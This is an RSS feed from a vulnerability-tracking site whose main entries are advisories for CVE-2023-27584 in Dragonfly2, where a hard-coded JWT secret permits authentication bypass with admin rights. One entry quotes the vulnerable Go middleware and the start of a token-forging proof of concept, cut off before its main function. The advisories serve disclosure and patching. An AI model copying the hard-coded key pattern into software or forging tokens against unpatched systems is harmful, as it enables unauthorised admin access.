<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sun, 04 Oct 2026 02:54:03 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-188493</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-188493</link>
      <description>EUVD-2026-188493</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-188493</guid>
    </item>
    <item>
      <title>fkie_cve-2023-27584</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2023-27584</link>
      <description>&lt;p&gt;Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, &amp;#34;Secret Key&amp;#34;, is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, &amp;#34;Secret Key&amp;#34;, is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2023-27584</guid>
    </item>
    <item>
      <title>GHSA-hpc8-7wpm-889w — Dragonfly2 has hard coded cyptographic key</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-hpc8-7wpm-889w</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: d7y.io/dragonfly/v2&lt;/p&gt;
&lt;p&gt;### Summary
Hello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature.&lt;/p&gt;
&lt;p&gt;### Details
Dragonfly uses  [JWT](https://github.com/dragonflyoss/Dragonfly2/blob/cddcac7e3bdb010811e2b62b3c71d9d5c6749011/manager/middlewares/jwt.go) to verify user. However, the secret key for JWT, &amp;#34;Secret Key&amp;#34;, is hard coded, which leads to authentication bypass
```go
authMiddleware, err := jwt.New(&amp;amp;jwt.GinJWTMiddleware{
		Realm:       &amp;#34;Dragonfly&amp;#34;,
		Key:         []byte(&amp;#34;Secret Key&amp;#34;),
		Timeout:     2 * 24 * time.Hour,
		MaxRefresh:  2 * 24 * time.Hour,
		IdentityKey: identityKey,&lt;/p&gt;
&lt;p&gt;IdentityHandler: func(c *gin.Context) any {
			claims := jwt.ExtractClaims(c)&lt;/p&gt;
&lt;p&gt;id, ok := claims[identityKey]
			if !ok {
				c.JSON(http.StatusUnauthorized, gin.H{
					&amp;#34;message&amp;#34;: &amp;#34;Unavailable token: require user id&amp;#34;,
				})
				c.Abort()
				return nil
			}&lt;/p&gt;
&lt;p&gt;c.Set(&amp;#34;id&amp;#34;, id)
			return id
		})
```&lt;/p&gt;
&lt;p&gt;### PoC
Use code below to generate a jwt token
```go
package main&lt;/p&gt;
&lt;p&gt;import (
	&amp;#34;errors&amp;#34;
	&amp;#34;fmt&amp;#34;
	&amp;#34;time&amp;#34;&lt;/p&gt;
&lt;p&gt;&amp;#34;github.com/golang-jwt/jwt/v4&amp;#34;
)&lt;/p&gt;
&lt;p&gt;func (stc *DragonflyTokenClaims) Valid() error {
	// Verify expiry.
	if stc.ExpiresAt &amp;lt;= time.Now().UTC().Unix() {
		vErr := new(jwt.ValidationError)
		vErr.Inner = errors.New(&amp;#34;Token is expired&amp;#34;)
		vErr.Errors |= jwt.ValidationErrorExpired
		return vErr
	}
	return nil
}&lt;/p&gt;
&lt;p&gt;type DragonflyTokenClaims struct {
	Id        int32 `json:&amp;#34;id,omitempty&amp;#34;`
	ExpiresAt int64 `json:&amp;#34;exp,omitempty&amp;#34;`
	Issue     int64 `json:&amp;#34;orig_iat,omitempty&amp;#34;`
}&lt;/p&gt;
&lt;p&gt;func main() {…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: d7y.io/dragonfly/v2&lt;/p&gt;
&lt;p&gt;### Summary
Hello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature.&lt;/p&gt;
&lt;p&gt;### Details
Dragonfly uses  [JWT](https://github.com/dragonflyoss/Dragonfly2/blob/cddcac7e3bdb010811e2b62b3c71d9d5c6749011/manager/middlewares/jwt.go) to verify user. However, the secret key for JWT, &amp;#34;Secret Key&amp;#34;, is hard coded, which leads to authentication bypass
```go
authMiddleware, err := jwt.New(&amp;amp;jwt.GinJWTMiddleware{
		Realm:       &amp;#34;Dragonfly&amp;#34;,
		Key:         []byte(&amp;#34;Secret Key&amp;#34;),
		Timeout:     2 * 24 * time.Hour,
		MaxRefresh:  2 * 24 * time.Hour,
		IdentityKey: identityKey,&lt;/p&gt;
&lt;p&gt;IdentityHandler: func(c *gin.Context) any {
			claims := jwt.ExtractClaims(c)&lt;/p&gt;
&lt;p&gt;id, ok := claims[identityKey]
			if !ok {
				c.JSON(http.StatusUnauthorized, gin.H{
					&amp;#34;message&amp;#34;: &amp;#34;Unavailable token: require user id&amp;#34;,
				})
				c.Abort()
				return nil
			}&lt;/p&gt;
&lt;p&gt;c.Set(&amp;#34;id&amp;#34;, id)
			return id
		})
```&lt;/p&gt;
&lt;p&gt;### PoC
Use code below to generate a jwt token
```go
package main&lt;/p&gt;
&lt;p&gt;import (
	&amp;#34;errors&amp;#34;
	&amp;#34;fmt&amp;#34;
	&amp;#34;time&amp;#34;&lt;/p&gt;
&lt;p&gt;&amp;#34;github.com/golang-jwt/jwt/v4&amp;#34;
)&lt;/p&gt;
&lt;p&gt;func (stc *DragonflyTokenClaims) Valid() error {
	// Verify expiry.
	if stc.ExpiresAt &amp;lt;= time.Now().UTC().Unix() {
		vErr := new(jwt.ValidationError)
		vErr.Inner = errors.New(&amp;#34;Token is expired&amp;#34;)
		vErr.Errors |= jwt.ValidationErrorExpired
		return vErr
	}
	return nil
}&lt;/p&gt;
&lt;p&gt;type DragonflyTokenClaims struct {
	Id        int32 `json:&amp;#34;id,omitempty&amp;#34;`
	ExpiresAt int64 `json:&amp;#34;exp,omitempty&amp;#34;`
	Issue     int64 `json:&amp;#34;orig_iat,omitempty&amp;#34;`
}&lt;/p&gt;
&lt;p&gt;func main() {…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-hpc8-7wpm-889w</guid>
    </item>
    <item>
      <title>gsd-2023-27584</title>
      <link>https://cve.radiocsirt.org/vuln/gsd-2023-27584</link>
      <description>gsd-2023-27584</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/gsd-2023-27584</guid>
    </item>
  </channel>
</rss>
